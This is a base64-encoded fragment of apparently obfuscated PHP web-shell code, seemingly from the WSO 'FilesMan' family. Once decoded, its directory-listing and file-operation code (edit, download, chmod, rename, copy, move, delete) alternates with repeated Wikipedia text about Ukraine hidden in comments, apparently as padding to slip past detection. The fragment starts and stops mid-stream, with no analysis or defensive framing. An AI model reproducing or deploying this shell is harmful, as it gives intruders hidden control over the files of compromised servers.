lZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCQkpOwoJCWlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKQoJCQkkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsKCQllbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpCgkJCSRsaW5rc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJykpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQllbHNlaWYoQGlzX2RpcigkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkKCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOwoJfQoJJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0OwoJZnVuY3Rpb24gY21wKCRhLCAkYikgewoJCWlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKQoJCQlyZXR1cm4gc3RyY21wKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dLCAkYlskR0xPQkFMU1snc29ydCddWzBdXSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7CgkJZWxzZQoJCQlyZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwoJfQoJdXNvcnQoJGZpbGVzLCAiY21wIik7Cgl1c29ydCgkZGlycywgImNtcCIpOwoJdXNvcnQoJGxpbmtzLCAiY21wIik7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRsaW5rcywgJGZpbGVzKTsKCSRsID0gMDsKCWZvcmVhY2goJGZpbGVzIGFzICRmKSB7CgkJZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicudXJsZW5jb2RlKCRmWyduYW1lJ10pLiciIGNsYXNzPWNoa2J4PjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiPjxiPlsgJy5odG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pLicgXTwvYj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3ZpZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4kZlsncGVybXMnXQoJCQkuJzwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdyZW5hbWVcJykiPlI8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd0b3VjaFwnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdlZGl0XCcpIj5FPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZG93bmxvYWRcJykiPkQ8L2E+JzonJykuJzwvdGQ+PC90cj4nOwoJCSRsID0gJGw/MDoxOwoJfQoJPz4KCTx0cj48dGQgY29sc3Bhbj03PgoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPgoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nPD89aHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pPz4nPgoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nPD89aXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnPz4nPgoJPHNlbGVjdCBuYW1lPSdwMSc+PG9wdGlvbiB2YWx1ZT0nY29weSc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdkZWxldGUnPkRlbGV0ZTwvb3B0aW9uPjw/cGhwIGlmKCFlbXB0eSgkX1NFU1NJT0